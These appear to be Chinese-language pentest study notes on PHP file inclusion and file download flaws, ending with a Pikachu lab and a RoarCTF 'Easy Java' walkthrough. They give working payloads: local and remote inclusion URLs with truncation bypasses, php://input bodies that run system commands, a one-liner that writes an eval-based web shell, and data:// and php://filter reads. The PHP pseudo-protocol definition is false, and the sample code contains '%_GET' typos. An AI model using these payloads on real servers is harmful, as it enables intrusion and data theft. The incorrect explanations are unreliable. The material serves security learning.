5. 文件包含与下载漏洞
1. 漏洞检测与危害
概念
- 文件包含原理:将指定的文件当代码执行
- 文件包含风险:恶意代码执行(图片木马)、敏感信息泄露(配置文件)
检测
- 白盒检测:代码审计
- 黑盒检测:扫描工具、公开漏洞分析、手动查看参数和功能点
2. 文件本地与远程包含
本地包含
- 特点:只能包含已有文件,需配合其他漏洞(如文件上传)
- 示例1 http://127.0.0.1/includehtml.php?file=local/test.txt
<?php
$filename = %_GET['filename'];
include($filename);
- 示例2
- 00截断 http://127.0.0.1/includehtml.php?file=local/test.txt%00
- 长度截断 http://127.0.0.1/includehtml.php?file=local/test.txt................
<?php
$filename = %_GET['filename'];
include($filename.".html");
远程包含
- 危害性大于本地包含
- 需要额外权限 allow_url_include
- allow_url_include 主要针对 include,include_once,require,require_once.包含和执行远程php文件
- 示例1 http://127.0.0.1/include.php?file=http://192.168.0.1/test.txt
<?php
$filename = %_GET['filename'];
include($filename);
- 示例2
- 00截断 http://127.0.0.1/includehtml.php?file=http://192.168.0.1/test.txt%00
- 文件名绕过 修改远程文件名称为 test.txt.html
- 空格绕过 http://127.0.0.1/includehtml.php?file=http://192.168.0.1/test.txt%23
- 参数绕过 http://127.0.0.1/includehtml.php?file=http://192.168.0.1/test.txt?d=
<?php
$filename = %_GET['filename'];
include($filename.".html");
3. 常见脚本语言伪协议
PHP 伪协议
-
简介:PHP 伪协议(PHP Protocol Override)是一种在 PHP 处理数据时,通过替换数据报的头部信息来欺骗网络协议的方式来提高性能的技术
-
file:// 访问本地文件系统
- 示例1
http://127.0.0.1/include.php?file=file://c:\Windows\System32\drivers\etc\hosts
-
http://、https:// 访问远程网址
- URL 形式,允许通过 HTTP 1.0 的 GET 方法,以只读访问文件或资源,通常用于远程包含
-
ftp:// 访问远程文件
-
php:// 访问输入/输出流(I/O streams)
- 示例1 http://127.0.0.1/includehtml.php?file=php://filter/read=convert.base64-encode/resource=local/test.txt
- 示例2 http://127.0.0.1/include.php?file=php://input
[post data] <? php phpinfo() ?> <?php system('ver') ?> <?php system('ipconfig') ?> //eval 将字符串按照php代码来执行 <?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?> -
zlib:// 压缩流
-
data:// 数据(RFC 2397)
- 以传递相应格式的数据。通常可以用来执行 PHP 代码
- 示例1
http://127.0.0.1/include.php?file=data://text/plain, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
- 示例2
-
glob:// 查找匹配的文件路径模式
-
phar:// PHP归档
-
ssh2:// Secure Shell 2
-
rar:// RAR
-
ogg:// 音频流
-
expect:// 处理交互式的流
4. 文件包含漏洞修复与防御
- 使用 WAF
- 固定文件和后缀名
5. 文件下载/读取漏洞
搭建皮卡丘靶场
案例 1:pikachu 文件下载漏洞
- www.pikaqiu.com/vul/unsafed…
- 下载地址 www.pikaqiu.com/vul/unsafed…
- 图像地址 www.pikaqiu.com/vul/unsafed…
- 扫描和下载文件
案例 2:靶场入口 [RoarCTF 202019]Easy Java
- buuoj.cn/challenges#…
-
找到文件下载漏洞入口 a28b77d9-832f-48b7-98f0-432df9f2b6c6.node5.buuoj.cn:81/Download?fi…
-
根据经验判断web.xml文件路径 WEB-INF/web.xml a28b77d9-832f-48b7-98f0-432df9f2b6c6.node5.buuoj.cn:81/Download?fi…
-
找到flagController.class路径 a28b77d9-832f-48b7-98f0-432df9f2b6c6.node5.buuoj.cn:81/Download?fi…
-
将class反编译找到flag
-
- 将flag base64 解码拿到值